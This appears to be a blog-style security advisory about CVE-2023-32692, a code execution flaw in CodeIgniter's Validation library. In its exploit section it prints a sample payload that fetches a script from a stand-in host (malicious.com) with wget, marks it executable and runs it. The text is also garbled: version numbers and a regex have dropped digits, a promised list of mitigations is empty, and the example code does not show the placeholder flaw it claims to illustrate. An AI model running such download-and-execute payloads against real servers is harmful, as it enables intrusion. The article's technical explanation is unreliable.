CVE-2023-32692 - CodeIgniter Validation Placeholder Arbitrary Code Execution Vulnerability

A vulnerability has been discovered in the CodeIgniter PHP full-stack web framework, affecting version 4.. to 4.3.4. This vulnerability allows attackers to execute arbitrary code when you use Validation Placeholders in your application. The vulnerability is present in the Validation library, and the validation methods in the controller and in-model validation are also affected because they use the Validation library internally. This issue is patched in version 4.3.5.

The vulnerability (CVE-2023-32692) has been assigned a high severity score due to the potential impact of an attacker being able to execute arbitrary code on an affected system. In this long read article, we will discuss the details of this vulnerability, provide code snippets illustrating how the vulnerability can be exploited, and recommend steps to mitigate the risk and secure your applications.

Background

CodeIgniter is a widely used PHP web framework that simplifies web application development. It provides a wide range of libraries and tools, including the Validation library, which is used by developers to validate user input data before processing it. However, a vulnerability was discovered in the Validation library that allows attackers to execute arbitrary code when the affected systems use Validation Placeholders. The vulnerability impacts applications using CodeIgniter version 4.. through 4.3.4.

Exploit Details

The vulnerability exists in the CodeIgniter Validation library as a result of improper handling of special characters, such as those used in Validation Placeholders. An attacker can exploit this vulnerability by submitting crafted input data to a vulnerable application, triggering arbitrary code execution on the server.

To understand how this vulnerability can be exploited, consider the following example code snippet

class MyController extends BaseController
{
    public function my_method()
    {
        $validation = \Config\Services::validation();
        $validation->setRules([
            'input_field' => 'required|callback_validate_input'
        ]);

        if (!$validation->run($this->request->getPost())) {
            return redirect()->back()->withInput();
        }

        // Process input data and perform actions
    }

    public function validate_input($value, $error = '{field} contains invalid characters')
    {
        if (preg_match('/[^a-zA-Z-9]/', $value)) {
            return false;
        }
        return true;
    }
}

In the above example, if an attacker submits input data containing malicious code (e.g., "; exec('/bin/bash -c \"wget http://malicious.com/malicious_script -O /tmp/malicious_script; chmod +x /tmp/malicious_script; /tmp/malicious_script &\"');"), the crafted input data will trigger the vulnerable code path in the Validation library and execute arbitrary code on the server.

Mitigation

The vulnerability is fixed in CodeIgniter version 4.3.5. To mitigate the risk, it is recommended that affected users upgrade their applications to the latest version of CodeIgniter.

Additionally, developers should consider doing the following to improve the security of their applications:

Links to original references

1. CodeIgniter's official release notes and changelog: CodeIgniter 4.3.5 Changelog
2. CodeIgniter's official documentation: CodeIgniter User Guide
3. National Vulnerability Database (NVD) entry: CVE-2023-32692

Conclusion

The vulnerability (CVE-2023-32692) discovered in the CodeIgniter Validation library is a serious security issue that could allow an attacker to execute arbitrary code on affected systems. It is important for developers to keep their applications updated with the latest version of the CodeIgniter web framework, implement appropriate mitigations, and follow best practices for securing web applications to reduce the risk of exploitation.

Timeline

Published on: 05/30/2023 04:15:00 UTC
Last modified on: 06/06/2023 20:39:00 UTC